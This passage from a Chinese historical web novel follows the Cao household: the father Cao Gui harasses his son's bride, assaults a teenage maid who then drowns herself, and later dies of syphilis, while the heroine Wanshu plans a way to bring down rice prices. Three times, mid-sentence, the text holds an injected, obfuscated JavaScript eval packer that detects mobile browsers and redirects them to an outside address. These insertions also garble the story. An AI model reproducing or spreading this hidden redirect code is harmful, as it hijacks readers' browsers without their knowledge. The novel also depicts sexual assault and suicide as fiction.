曹贵吓得浑身一激灵，连忙缩了脖子，贴着墙根便往外溜。走到院门口，迎面撞上一个人。 姝书见自己父亲慌慌张张从大哥曹辐院子里出来，便觉不对劲。 曹贵被她看得不自在，躲着眼神，含糊道：“多喝了几杯，走岔路了。” 姝书眼含怒气地盯着他。 曹贵被她看得发毛，往后退了半步，讪讪道：“死丫头，大半夜的不回屋去，在外头瞎逛什么。” 曹姝书从牙缝里挤出话来：“爹，女儿今日把话撂在这儿。你若敢动嫂嫂一根头发，从今往后，只当没我这个女儿。” 曹贵脸上横肉抖了抖，嘴唇翕动，耷拉下眼皮，把袖子一甩，瓮声瓮气道：“胡吣些甚么。”说罢，缩着脖子，头也不回地走了。 14. 憨哥哥误打亲爹 次日一早，新妇来给公公婆婆敬茶。辐大哥哥笑得合不拢嘴，牵着新妇的手不舍得松开。 辐大嫂嫂端起一碗茶，走到曹贵和孙夫人面前，举止温婉可人，说话也是含娇细语：“儿媳来给公公婆母敬茶，祝公婆福寿安康。” “好好好。”孙夫人开心的合不拢嘴，连上前去接过她的茶。 她又端了一碗茶，送到曹贵跟前，说道：“公公，请喝茶。” 曹贵生的贼眉鼠眼，满脸横肉，看多了就不免让人有些反胃。 他不急着接茶，先拿眼把新妇一双纤纤玉手溜了一遍，喉结上下滚动，又抬眼去瞧那张脸，秀丽清纯，真真一朵带露的芙蓉。 新妇被他瞧得心头发紧，浑身不自在，只得又催一句：“公公，请用茶罢。” “好，好，好……”曹贵涎着脸应着，饿眼馋涎兀自盯着那粉面桃花。 这老货伸出手来，明面上是去接茶盏，可粗糙指头却往新妇的手背上蹭去，恨不能捏住了揉搓揉搓。 厅上众人哪个不是明眼人，曹贵这老扒灰的勾当，尽收眼底，只是碍于情面，噤若寒蝉。 曹辐气坏了，一把将新妇护在身后，怒目瞪视亲爹，恨恨地一跺脚，扯着新妇衣袖，气冲冲甩袖而去。 好好一个敬茶礼，闹得这般不堪。 满堂亲戚俱在，孙氏脸上火烧火燎，只得强挤个笑纹出来打圆场：“列位亲眷见笑，我这孩儿年轻气盛，不懂事体。” 姝书紧握着拳头，看曹贵的眼神，都带着恨意，和一种无可奈何的感觉。 曹晚书瞧见她眼眶湿润，连忙上去挽着她的胳膊，试图去安慰她几句。 人散去，姝书哭着跑了出去，曹晚书连忙追过去。 跑到屋里，姝书一头扎进被子里，趴在床上痛哭起来。 曹晚书坐在床边，默默的陪着她，让她哭个痛快。 姝书呜咽着道：“有这么一个爹，真是倒了八辈子霉了！” “妹妹，咱们总得想想事情怎么解决。” “呜呜…，我就知道，我就知道他肯定是对大嫂嫂起了心思。我那个爹，就是色鬼投胎，整个府上但凡是有点儿姿色的丫鬟，没有一个是不被他看上的。” 她擦了擦泪，又接着道：“不瞒你说，他在外头还养了四五个粉头，七八个野种，简直就是风流阵里的急先锋。家中的钱财，也是一箱一箱的往外头送，吃喝嫖赌没有一样是他不沾的。 府上十几个姨娘，都不够他用的，竟然还惦记上自己的儿媳妇，怎就这么不知礼义廉耻。想当年祖父那一辈，家中是多么辉煌。可如今，早就闹了几年亏空了，全靠典当首饰古董过日子。不求他是个上进的，只求他能安分几日，便是我们做子女最盼望的了。你说，天底下哪有当爹的，让子女操碎心的道理？” 曹晚书明白她心中的苦楚，将她揽在自己的怀里，看着她的眼泪扑簌簌的从眼眶中掉落，越是极力想要克制，哭得却越狠。 不知怎的，曹晚书心尖也泛着酸，竟然也陪她哭了起来。 “你哭什么呀？”姝书听到她的抽泣声，忍不住问。 “看着你哭得厉害，我也忍不住哭起来了。” 姝书忽地又笑了，屁股往里挪了挪，给曹晚书留出来一个空，姐妹俩一起躺在床上。 曹晚书想起祖母之前说的话，便对她道：“一个大家族，有兴必定会有衰。三叔虽然是一个品性不好的人，但好歹辐大哥和轮二哥都是争气的。一个大家族怕的不是即将要没落，而是怕没有中兴的子女。等辐大哥哥带着嫂嫂到扬州上任后，就不用再担心这件事了。” 姝书用袖子擦了擦眼泪，侧着身子，许是听了晚书的话，心情好了很多。 但是，又有新的烦恼涌上来：“唉，我爹还想把我嫁给济州的富商，让我给那人做续弦去，可是他都已经四十多岁了。我爹是为了钱，要将我往火坑里推，我怎就如此命苦…” 静静地听她说完，曹晚书也是发自心底儿的心疼她，但不愿看到姝书这自怨自艾的模样。 “纵是三叔存了这心，婶娘定是不依的，两位哥哥更不会坐视。妹妹宽心，事未必糟到那般田地。便真是…也得给自己谋条后路，断不能稀里糊涂，任人摆布了一生。” 曹姝书紧锁的眉头舒展开来，对着晚书明亮的眼睛，忽然间笑了起来。 “你说得对，不能稀里糊涂的过一辈子。我原先是想着，既然他让我嫁，那我就嫁了吧，以后日子过得不好也都是他的错。可是听你这么一说，我才发觉，哪怕我以后日子过的不好，他这个当爹的也不会心疼我半分，反而还会从中得利，满足自己的贪欲。幸亏有你来开导我，不然真害怕以后误入歧途了。” 能够及时醒悟，没有踏进泥潭中，已经是值得庆幸的事情了。 曹晚书也开始担忧起来，自己也快到了及笄的年龄，到时候会嫁给怎样的一个人呢？ 在这个男人可以纳很多小妾的时代，自己真的可以忍受以后的丈夫纳妾吗？ 她不想，不想和第二个人分享自己的丈夫。 曹晚书有着二十一世纪人的思想，有时庆幸，有时却很苦恼。男人三妻四妾对于这个时代的人来说很平常，没有什么大不了的。 可是对于曹晚书来说，将来的丈夫纳妾，绝对不行。 她这个思想，可是要被冠上妒妇的名声，想想以后自己的婚后生活，曹晚书还真是有些发愁。 得应付大宅子里的勾心斗角，还得相夫教子操持家务，她真是巴不得以后削发做姑子去。 有了上回曹贵惦记儿媳妇这回事，曹辐是上了心，对这事一直耿耿于怀，寸步不离辐大嫂嫂。 曹贵几次想找机会，都没成，最后忍无可忍，只能带上几锭银子，打算骑马到花满楼，找陈行首来服侍自己。 正准备去牵马，却遇上了曹轮。 曹贵一看见他，下意识地就想背过身去躲起来。 不料还是被曹轮给看到了，曹轮走上前，问道：“爹，你牵马是要出门去？” 曹贵眼神四处乱瞧，慌乱之下随意扯了个谎：“待在家里实在是闷得慌，到外头去转转。” 曹轮抢过他手里的缰绳，又重新把马牵了回去，劝道：“外头到处都是流寇，还是别出去了，待在家里头都不一定安全，更别说是外面了。爹您都这个年纪了，难道还不明白吗。” 作为一个父亲，被自己儿子数落一通，曹贵面子上有些过不去，威声道：“行了，我知道了，你快该干什么干什么去罢！” 曹贵只好折返回去，曹轮以为他听劝了，也转身走了。 过了好一会子，曹贵悄悄地又跑到马棚里，见四下无人，欣喜之下牵了马就往大门外跑，直奔花满楼。 鸨母见是熟客曹大老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202126|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又是带着足色纹银来的，自是笑脸相迎，忙不迭将花魁陈行首请了出来。 这陈行首，名唤陈娇儿，果然生得标致，柳腰轻摆，一双眼儿似能勾魂。 只是她见了曹贵这老货，心下便先生厌恶，皱纹堆垒，眼袋下垂，一双老眼在她身上骨碌碌乱转，恨不能剥了衣裳去。 陈娇儿强忍着恶心，堆起假笑，勉强应酬。 及至上了牙床，曹贵猴急地便要成就好事。陈娇儿只觉那老朽身躯压上来，气息浑浊，满心不耐，恨不得一脚踹下床去。她草草敷衍，只盼这老厌物早些了事滚蛋。 谁料曹贵得寸进尺，事毕尤嫌不足，腆着脸，一脸色迷迷道：“娇儿，且与老夫擦擦身子，松快松快。” 陈娇儿心头一阵翻江倒海，几乎要呕出来，哪里肯伺候？便推脱道：“曹大爷，奴家身子有些不爽利，前头妈妈还唤呢，您老且歇着。”说罢，便欲起身。 曹贵见她要走，如何肯依？扯住衣袖，只管歪缠。 陈娇儿柳眉倒竖，正要发作，曹贵见美人变了脸色，心下也怯了，只得讪讪地自己下床。 在花满楼厮混了半日，直到日头偏西，方才餍足，整了整衣衫，骑上马，晃晃悠悠地打道回府。 走到半路上，忽然间从一堆枯草丛里窜出来几个彪悍的大汉，把曹贵给围了起来。 这个时候还能骑马出行的人，都是非富即贵的，看他的穿着打扮就不像穷人。 几个悍匪扛着大刀，伸手问曹贵要钱。 曹贵吓坏了，连忙把剩下的几块碎银子拿出来，递到悍匪手上，慌张道：“大爷，就剩这些了，行行好，放我走吧。” 带头的悍匪低头一看，就这点钱，凶狠道：“打发叫花子呢！” “真没有了，大爷，不信你搜，只要搜出来都算你的。”曹贵吓得腿直打颤，早知道半路会遇上打劫的，他就老老实实待在家里不出门去的。 “这可是你说的。”悍匪嘿嘿一笑，带着几个兄弟直接就把曹贵给扒了个精光，只留了个亵裤在身上，连带着马，也一并给抢走了。 曹贵还以为他们要杀了自己，躺在地上吓得尿了裤子，等反应过来时，见天已经黑了，他只好捂着□□一路狂奔回家。 终于回到家门口，见大门紧闭，曹贵猛砸了数十下门，才赶来两个小厮来开门。 开门的小厮一见曹贵这副模样，自是吓得不轻，正发愣，身上的外袍就已经被曹贵扯下来，披在了他自己身上。 曹贵披了衣服刚要跑，想想又转身回来，怒瞪着那两个小厮道：“不许把这事说出去，否则我割了你们的舌头。” “是是是。” 曹贵把自己裹得严严实实就往内院狂奔，此时曹轮刚下值回来，见一个黑影子鬼鬼祟祟地往内院跑。 这几日外头不太平，曹轮咯噔一下，心想不妙，连忙疾步追去，一脚上去把那人踢倒在地上。 借着月色，照着那人的脸抡起拳头就是一顿狂打，打得那人嗷嗷直叫。 曹贵倒在地上疼得受不了，身上披的衣服也掉了下来。 曹轮见此人衣不蔽体，心想莫不是采花贼，家中妹妹又众多，都还住在内院里。 思及此，曹轮下手便更狠了起来，连踢带打，嘴里还骂着：“我打死你个不要脸的淫贼，竟还打起我家中妹妹们的主意了！今日叫你认得曹爷爷的拳头！” 15. 暗藏春色却非花 曹贵疼得说不出话来，用最后一丝力气，大喊道：“别打了别打了，我是你爹！” 曹轮一听这声音，连忙收手，再一仔细看，还真是自己那位老爹，曹贵。 “爹，你怎么穿成这个样子？” “你个不孝的，敢打自己的老爹。你枉着人子皮，死后入无间地狱！哎呦喂，疼煞我也。”曹贵躺在地上指着他大骂，疼得面部狰狞，翻来覆去。 曹轮连忙把他给扶起来，将衣服捡起给他披上。 “您干什么去了，怎么弄成这个模样？这几天外头到处流寇作乱，儿子还以为家中进贼了。误打了爹，是儿子不孝。” 曹贵正在气头上，想打他几下报仇，可是却没有那个力气。又摸了一把脸，一看手上都是鲜血，他愤愤道：“你是下了死手要把我给打死啊。” 曹轮只好将曹贵扛到屋里去，孙夫人一看曹贵被打的鼻青脸肿浑身是伤，吓了一跳，赶忙放下手中的针线，走过来查验伤势。 “怎么弄得这是？” 曹贵龇牙咧嘴，指着曹轮怒道：“你问这个畜牲去罢！” 孙夫人将目光看向曹轮，曹轮也不知该如何开口，这事说来实在是难以启齿。 他只好转移话题，问她说：“娘，可还有治跌打损伤的药膏？” “有有有，我这就去拿。” 孙夫人帮曹贵涂抹了伤口，曹贵欲要睡下，见曹轮还杵在那儿站着，不由得心下来气：“丧门星！还戳在这里做甚？等着给你老子收尸么？滚！快滚！看见你这孽障就心口疼！再待下去，老子的命迟早断送在你手里！” 曹轮被骂得抬不起头，心中五味杂陈，终究什么也没说，作了个揖，默默退了出去。 暂且按下这桩荒唐事不表。 却说次日，朝廷派来剿匪的官兵终于浩浩荡荡进了济州城。 知府衙门忙得脚不沾地，曹辐少不得也要出门应酬，接风洗尘，迎来送往。 临出门前，再三叮嘱浑家辐大嫂嫂，务必待在几位小姑子房里，万不可独自走动。辐大嫂嫂知他心意，自是点头应允。 城中百姓闻听官兵到来，初时如同久旱逢甘霖，奔走相告，只道是救星到了，从此可以安枕无忧。 家家户户虽已穷得叮当响，还是勉强凑出些米粮菜蔬，箪食壶浆，盼着军爷们吃饱喝足好去剿匪。 谁知这王师的行径，比之流寇更甚三分。流寇劫掠尚是偷偷摸摸，这官兵却是明火执仗。 他们以征粮剿匪为名，挨家挨户，砸门撬锁，翻箱倒柜，将百姓们缸底最后一点活命的口粮、梁上仅存的几串干菜、甚至炕席底下藏的二升麦种，尽数搜刮了去。 稍有迟疑或反抗，轻则鞭打脚踢，重则枷锁上身。 那些军汉，个个吃得满嘴流油，红光满面，将抢来的粮食大车小车运回营盘，口中还叫嚣着：“老子们千里迢迢来帮你们杀贼，吃你们几口粮食，那是天经地义！饿着肚子怎么打仗？” 可怜济州百姓，这几年天灾不断，收成本就稀薄，家家户户早已是糠菜半年粮。如今这点活命的指望也被夺走，当真是叫天天不应，叫地地不灵。 曹辐在衙门里，也断断续续听闻了这些事。同僚们或摇头叹息，或麻木不仁。 他看着窗外灰蒙蒙的天，想着家中老小，想着那些面黄肌瘦的街坊，心头如同压了一块巨石，沉甸甸地喘不过气。 想上陈几句，可惜人微言轻；想暗中周济，杯水车薪。 一股郁结之气堵在胸口，只觉这世道，实在是荒谬。 兵耶？匪耶？到头来，苦的都是这地皮上刨食的蝼蚁苍生。 这曹辐每日忧心忡忡，连日来为着米价腾贵之事，直是愁肠百结，寝食难安。他这忧思，如瘟病一般，也染了枕边人。 辐大嫂嫂薛氏，本是温婉和顺的性子，如今也被他带累得终日里蛾眉紧蹙，杏眼含愁，常自幽幽地叹上几口长气。 这一日，女眷们都在屋子里绣花，大家伙儿都欢声笑语的，只有辐大嫂嫂皱着眉头一言不发，于这情形显得格格不入。 曹晚书走上前去，问道：“嫂嫂，你有甚么心事？说来我们听听。” “还能有甚么心事，官人最近为了粮食发愁，米价上涨得厉害，再这样下去，咱们家都快吃不上粮了，更别说是老百姓。”薛氏道。 姝书正在逗鸟，听后插嘴道：“种地收粮，本就是看老天爷脸色吃饭的行当。他老人家肯赏脸，风调雨顺，自然仓廪丰实。若是发起怒来，赤地千里，便是神仙也变不出米来。咱们愁死又能如何？” 这时，外面丫鬟走进来通报，说是曹辐要接薛氏回去了。 薛氏嘴角微微一笑，起身就要离开。 姝书调笑道：“果然是新婚燕尔，嫂嫂刚刚还愁呢，现在大哥哥一来，脸上都笑出花来了。” 曹辐一听，将薛氏揽在自己身后，上前去轻轻踹了姝书一脚，玩笑道：“小妮子就你嘴贫，过几年就把你给嫁出去。” “我们帮你照看着嫂嫂，无功不说，倒还有过了？这是什么道理！”姝书两手叉腰，不服气地跟他顶嘴。 站在最后面的曹晚书并没有参与其中，反而是若有所思的，忽然抬起头来问：“辐大哥哥，小妹斗胆问一句，如今外头米价，究竟贵到几何一斗了？” 提起这个，曹辐脸上的笑意顿时敛了去，化作一片沉郁的阴云，重重叹口气，道：“唉。晚书妹子，你是不知道。如今这米比那金珠还稀罕。市面上一斗糙米，竟要八十文钱，这还只是眼前，眼瞅着还要涨。这般下去，寻常人家如何买得起？我这做一方父母官的，若连治下百姓一口饱饭都保不住，这顶官帽戴着，还有什么脸面？这几日，我与同僚们愁得头发都要白了，也寻不出个万全的法子来。” 曹晚书凝神细听，沉吟片刻，竟开口道：“小妹倒有个浅见，只不知当讲不当讲。” 曹辐只当她是闺阁女儿家随口一说，心中颇不以为然。 想他堂堂官员，与多少积年老吏商议，尚且一筹莫展，她一个未出阁的丫头片子能有何高见？ 只是此刻病急乱投医，一丝微光也是好的，便耐着性子道：“妹妹有何良策，但说无妨。” 一时间，众人皆停了手中活计，目光齐刷刷聚在曹晚书身上。 晚书不紧不慢地说：“依小妹愚见，这米价，非但不能降，反倒要让它涨，涨得再厉害些才好。” “什么？”曹辐愕然失笑，连连摇头，“好妹子，你这岂不是火上浇油？米价再涨，百姓更是连糠秕都嚼不起了，这算什么法子？” 玉书也蹙眉道：“正是这话，五妹妹，你年纪小，不知这柴米油盐的厉害，这等大事，莫要胡出主意。” 曹晚书神色镇定，不急不缓道：“哥哥姐姐们，且听我细说端详。正是要米价暴涨，消息传得越远越好！那些外地的米商，一个个都是逐利的，鼻子比狗还灵。闻听此地米贵如金，焉有不千里迢迢运米来贩卖之理？到时，市面上米粮堆积如山，看似价更高昂，实则已到了顶点。 等这米多得卖不动了，囤积久了，新米变陈米，陈米变霉米，米商们岂能不急？此时，只要大哥哥以官府名义，开仓放粮，平抑市价。那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208782|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些米商眼见官府平价售粮，唯恐自家米烂在仓里血本无归，必定争先恐后降价抛售。只要有一家开头，其余人等怕落于人后，必定蜂拥效仿，米价自然应声而落。到那时，还愁百姓无米下炊么？” 一席话，如同醍醐灌顶，又似拨云见日。 曹辐听得目瞪口呆，眼中精光爆射，猛地一拍大腿，面上又是狂喜又是羞惭，连连作揖道：“哎呀呀！晚书妹妹，你这简直就是妙计，妙啊！我怎么就没有想到。是愚兄目光短浅了，方才还笑你，妹妹千万不要见怪才是。” 曹晚书微微一笑道：“辐大哥哥言重了。能替兄长分忧，为百姓略尽绵薄，小妹心中亦是欢喜。” 她心来暗忖：幸得前世杂览群书，知晓些经济营生的道理，否则今日，怕也只能如他人一般，徒呼奈何了。 曹辐将薛氏又留在姊妹几个的院中，连夜跑出门去执行此事。 话说曹轮，不知从何处淘换来几贴上好的金疮药膏，专治跌打损伤。他本欲亲自给父亲送去，可转念一想，父亲看他不顺眼，自己去了，没准又是一顿排揎，连药都送不到跟前。 正踌躇间，抬眼瞥见院子里有个扫洒的小丫头，正在廊下躲懒吃茶。 曹轮便走过去，将那用油纸包好的药膏递给她，低声道：“这个，是治伤的好膏药，你替我悄悄送进老爷房里去。就说是……咳，就说是你孝敬的，莫提我。” 小丫头名叫柳絮，是新近才被太太买进来的，专管后院的洒扫。 她见是二爷吩咐，不敢推辞，只得接了药膏，心头惴惴地走到曹贵房外，轻轻叩了门。 “进来。”里面传来曹贵懒洋洋的声音。 听见门响，曹贵乜斜着眼瞧过去。见是个面生的小丫鬟，约莫十五六岁年纪。虽是一身粗使打扮，却掩不住那几分颜色，一张瓜子脸儿白生生的，两道细眉弯弯，尤其是一双眼睛，水汪汪、怯生生，顾盼间带有几分撩人的情致。 再仔细一打量，眉眼轮廓，与他新娶进门的儿媳薛氏有六七分相似。只是薛氏端庄，这小丫头却多了几分怯懦的风流。 只可惜了，儿媳妇被儿子整日里看的死死的，偷吃不得。面前这个丫鬟倒是也合自己胃口，凑活凑活也就得了。 曹贵起了兴致，从床上坐起身来，道：“你叫什么名字？瞧着面生得很。” 丫鬟低着头，回避着他的目光，说：“回老爷，我叫柳絮，是太太前儿刚买回来的，负责打扫院子。方才轮二爷得了几副好药膏，托我给您送进来。” “哦~”曹贵意味深长的点了点头，“你再走过来些，让我瞧瞧是什么药膏。” 柳絮上前迈一步，双手将药膏奉上，可距离床榻的位置却还有一米多远。 “再走近来些，把药膏递在我手上。” 整个曹府上下，谁不知道曹贵的德行，柳絮虽是新来的，可也听到了一些有关于曹贵的事情。 他看自己的眼神不简单，柳絮心里有些怕，可又不能不服从主子的命令，只好走过去，把药膏放在他手上。 谁料曹贵直接丢下药膏，一把拉住柳絮的手，将她拽到了床上。 柳絮吓坏了，急着要反抗，曹贵却将他抱得紧紧的，还一脸猥琐得说道：“卿卿，当什么扫地丫鬟啊，依了我，日后抬你做姨娘，让你使唤奴才如何？” “老爷，放开！放开！我不要做姨娘！”柳絮心中一颤，大声的喊着。 “傻丫头，你还想扫一辈子地不成，外头风吹日晒的，冻烂你这张小脸儿岂不可惜了。”曹贵嘿嘿笑着凑上去，“乖乖，让爷亲亲你这小脸蛋。” 16. 曹贵疯了 曹贵一张肥脸堆满了横肉褶子，酒气混着口臭，直往柳絮脸上喷。 柳絮这丫头，不过十五六年纪，怕极了，只觉眼前一黑，天旋地转，身子一软便人事不省。 待她悠悠醒转，只觉浑身凉飕飕的，再一看，一丝、不挂地躺在帐里。 侧眼一瞧，身边曹贵正歪着，一身松垮垮的肥膘白肉，鼾声如雷，涎水顺着嘴角淌下，滴在枕头上。 柳絮登时心口像被剜了一刀，眼泪便似断了线的珠子滚落下来。 她强忍着翻江倒海的恶心，咬着唇，抖抖索索翻身下床，也顾不得羞臊，慌忙拾掇起地上散乱的衫裙裤袜，胡乱套在身上。 穿罢衣裳，柳絮只觉得一股邪火在腔子里乱窜，恨不能一头碰死。她跌跌撞撞冲出房门，外头天光刺眼，照得她有些睁不开眼。 没跑出几步，那股子屈辱之气，倒把她顶了回来。 她三步并作两步又冲回卧房，见那老东西犹自沉睡，胸中那口恶气再难按捺。 柳絮红着眼睛，攒足了力气，朝着曹贵那张老脸，“呸！”地啐了一口唾液。 “老不羞的！也不撒泡尿照照你那张老脸！这老的少的，但凡是个母的，你都不放过！怕是连坟里的死人都惦记着吧！我咒你得花柳杨梅疮！浑身烂作一滩脓血，臭不可闻！早早死了喂野狗，阎王殿里下油锅才好！” 骂毕，见那曹贵只是吧唧了一下嘴，翻个身又睡死过去，并未惊醒。柳絮心头那口恶气略略出了些，这才恨恨地一跺脚，摔门而去。 谁承想，不过半日光景，府里便炸开了锅。几个小厮慌慌张张从曹贵院中那口深井里，捞上来一具湿淋淋的尸首。 众人围上去一看，不是别人，正是柳絮。 她浑身已经水透，一张小脸青白浮肿，乌黑的头发缠在脖子上，死状好不凄惨。 曹轮闻得此信，眼前金星乱冒，两腿一软，直挺挺就要栽倒，亏得旁边曹辐眼疾手快，一把搀住。 曹轮靠在哥哥臂上，浑身发抖，脸上半点血色也无，嘴里不住喃喃：“我的罪过…我的罪过啊…大哥，我…我真真不知会逼死她。早知爹他…他连个小丫头都不放过，我…我就是自己爬着去送药膏，也断不敢叫她踏入那院子半步啊！”说罢，涕泪横流。 曹辐见他如此，也是叹息，拍着他肩膀道：“人死不能复生。先着人去买副上好的杉木棺材，厚殓了柳絮。再多多与她家里些银钱、米粮，也算咱们的一点心意。唉…这事儿，怨不得你。咱爹那个性子，你是知道的。便不是你今番叫她送东西，日后撞见了，起了那等心思，又岂能躲得过去？” 柳絮这刚烈女子，一条性命就断送在曹贵院里的井中。 自那日起，曹贵便夜夜不得安生。一合眼，便见那井里爬出个湿淋淋的女鬼，披头散发，青面獠牙，口口声声喊着“还我命来”，还伸出鬼爪直掏他的心窝。 惊得他从床上弹起，一身冷汗浸透寝衣，如此折腾了几夜，曹贵吓得魂飞魄散，再不敢在旧院住了，忙不迭地搬到东头新起的院子里去。 可那一缕冤魂如附骨之疽，新院子也挡不住索命的噩梦。 不过三五日功夫，这曹贵便被折磨得整日里疑神疑鬼，惊惶如丧家之犬，一双眼珠子瞪得溜圆，再不敢闭上片刻。 府里下人们私下里嚼舌根，有说半夜里听见井台边有女子幽幽哭泣的，有说月光下看见井沿上坐着个湿漉漉人影的，传得沸沸扬扬，人心惶惶。 这风言风语自然也吹到了后宅。宋夫人和王夫人两个凑在一处做针线，免不了也议论起这桩事体。 王夫人捏着绣花针，放到头发上蹭了蹭头油，继续缝着，慢悠悠道：“这老货年轻时就是个色中饿鬼，屋里头、外头粉头，何曾断过？只道他老了能收收心，谁承想反倒越发没了王法，连个刚留头的小丫头片子也下得去手，真是阎王不嫌鬼瘦。如今这报应，可不是现世现报？活该他落下个失心疯。” 宋夫人放下手中活计，端起旁边小几上的茶盅，呷了一口，也叹道：“谁说不是呢。那柳絮我瞧着倒是个硬气的好丫头，模样虽不是顶尖儿的，难得心气儿高，不似那些眼皮子浅的，给点金银绸缎就往上贴。唉，可惜了，一朵鲜花生生叫那老猪狗糟蹋了。”说罢，连连摇头。 王夫人凑近了些，压低声音，带着几分神秘：“你可听说没？那丫头跳井前，又折回去把那老东西痛骂了一顿。轮哥儿那边为这事儿，肠子都悔青了，水米不沾牙，人都瘦脱了相。听说私下里给了柳絮老娘二百两，五十担上好的白米。还要娶她家那个妹子，叫柳枝的，进门做正头娘子哩。” “哎呦我的天爷。”宋夫人一听，不禁震撼，“娶个灶下婢的妹子当媳妇，轮哥儿莫不是失心疯了吧？咱们这样的人家，正房奶奶是何等体面？将来出门应酬，叫那些官宦人家的夫人们知道了，还不得笑掉大牙。” 王夫人拿帕子掩了掩嘴：“轮哥儿这孩子，平日里看着稳重，这回怕是着了魔障，重情义也重过了头。不过是个丫头想不开投了井，何至于此。” 正说着，宋夫人房里的邹妈妈掀了帘子进来，脚步匆匆，径直走到宋夫人身边，俯下身子凑在她耳朵边上，叽叽咕咕说了一阵。 只见宋夫人听着听着，眼睛越瞪越大，嘴巴微张着。 等邹妈妈说完，宋夫人兀自直勾勾地盯着她，一张脸煞白。 一旁的王夫人被这动静吓了一跳，又见宋夫人如此情状，好奇心大起，忙问：“这是怎么了？听见什么惊天动地的事儿了？” 宋夫人这才回过魂来，颤巍巍站起身，先探头往门外张望了几眼，确认无人，才缩回身子，凑到王夫人跟前说：“现世报，真真是现世报。曹贵现在浑身上下，起满了烂糟糟的红疹脓包。方才请的郎中瞧了，是得了杨梅天疱疮！” “哎呦我的亲娘祖宗！”王夫人惊得倒吸一口凉气，“这…这可是个烂到底的脏病！你说…这…这莫不是应了柳絮的咒，这就真得了？” 宋夫人冷笑一声，：“依我看，是老天爷开眼。他在外头眠花宿柳，专拣那下三滥的窑子里钻，那些粉头千人骑万人压的，身上能干净？染上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217510|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这脏病，是迟早的事。柳絮那丫头，不过是替天开了口罢了。” 且说曹贵疯疯癫癫闹腾了个把月，已是灯枯油尽。浑身上下没一块好肉，密布着流脓淌水的恶疮，散发着阵阵中人欲呕的腥臭。 请来的郎中，不论远近名声，掀开帐子瞧一眼，便都摇头摆手，只丢下一句：“预备后事吧，神仙难救。” 孙夫人一听这断语，嚎啕一声，一口气没上来，当场便厥了过去。众人七手八脚，好半晌才被曹辐掐着人中醒来。 “快别哭了，仔细哭坏了身子。这…这也是他的命数，谁成想就得了这个…哎！”宋夫人假惺惺上前搀扶劝慰，拿着帕子作势替孙夫人拭泪。 曹辐、曹轮兄弟俩，也陪着掉了几滴眼泪，脸上确有悲戚之色。 唯独曹姝书，一张小脸绷得紧紧的，站在那儿似泥塑木雕一般，不见半点悲容，眼中连水光也无。 她自己心里也翻腾得厉害，疑惑着：亲爹要咽气了，自己为何一丝波澜也无？是了，他素来不疼我，只当没我这个女儿，我也厌他荒唐…可…可这毕竟是亲爹啊！我这般铁石心肠，莫不是不孝？ 姝书只觉屋里混着药味和腐肉味的浊气憋闷得慌，悄悄退了出来，独自走到院中一株老桂花树下，望着叶子发呆。 晚书见她神色不对，跟了出来。 “晚书姐姐，我爹…他眼看着不行了，可我为何一滴眼泪也挤不出来？我平日虽烦他，他也从不将我放在眼里，可血脉相连，我这般冷心冷肺，是不是不孝之极？我是不是…得了什么冷心肠的病？”她抬起眼，无助地看着曹晚书。 曹晚书心中了然，轻轻叹了口气，上前将她有些散乱的鬓发拢到耳后，道：“傻丫头，这哪里是你的错？分明是三叔他不曾尽到半分为父之责。他若疼你爱你如珠如宝，你此刻怕不早就哭成泪人儿了？人心都是肉长的，冷了热了，总有个缘故。” 见她依旧怔忡，又开解说：“许是你一时还懵着，没回过味儿来。等日子长了，不经意间想起些三叔待你的…嗯…哪怕是丁点好儿，或是旧日情景，那时心里头，或许才会涌上些难过也不定。” 姝书仰起脸，眼中有了点光亮：“真的么？” 曹晚书点头：“自然是真的。” 姝书这才勉强扯出一丝苦笑：“我还道自己得了没心肝的冷血病呢。” 曹晚书被她逗得莞尔，拉着她的手道：“尽说傻话，快回去吧，外头凉。” 两人刚欲转身，听得上房内一阵惊天动地的嚎叫声！ 原本躺在榻上只剩出气没进气的曹贵，不知哪里来的邪劲，猛地翻身坐起，赤红着双眼，状若疯虎。 “杀了那贱人！陈行首！花满楼的陈娇儿！是她！是她把这脏病过给我的！烂了心肠的粉头！我活剐了你！” 他嘶吼着，从床上蹦下，也不顾浑身脓血淋漓，光着脚，踉踉跄跄就往外冲，口中兀自狂喊：“拿我的刀来！备马！备马！我要去花满楼，剁了那害人精！” 这架势唬得一屋子人魂飞魄散，哭喊拦阻乱成一团。 17. 管家真不容易 又过两月，曹贵死了。说是下、部溃烂，疼了七八天，夜里叫唤得隔壁院子都听得见，到底也没熬过去。家里也没怎么发丧，拢共就请了三个和尚念了半日经，草草埋了。 济州那边的流寇，倒是叫官兵剿了个干净。朝廷来了文书，说曹辐治理有方，升了扬州府的通判，叫尽快去上任。 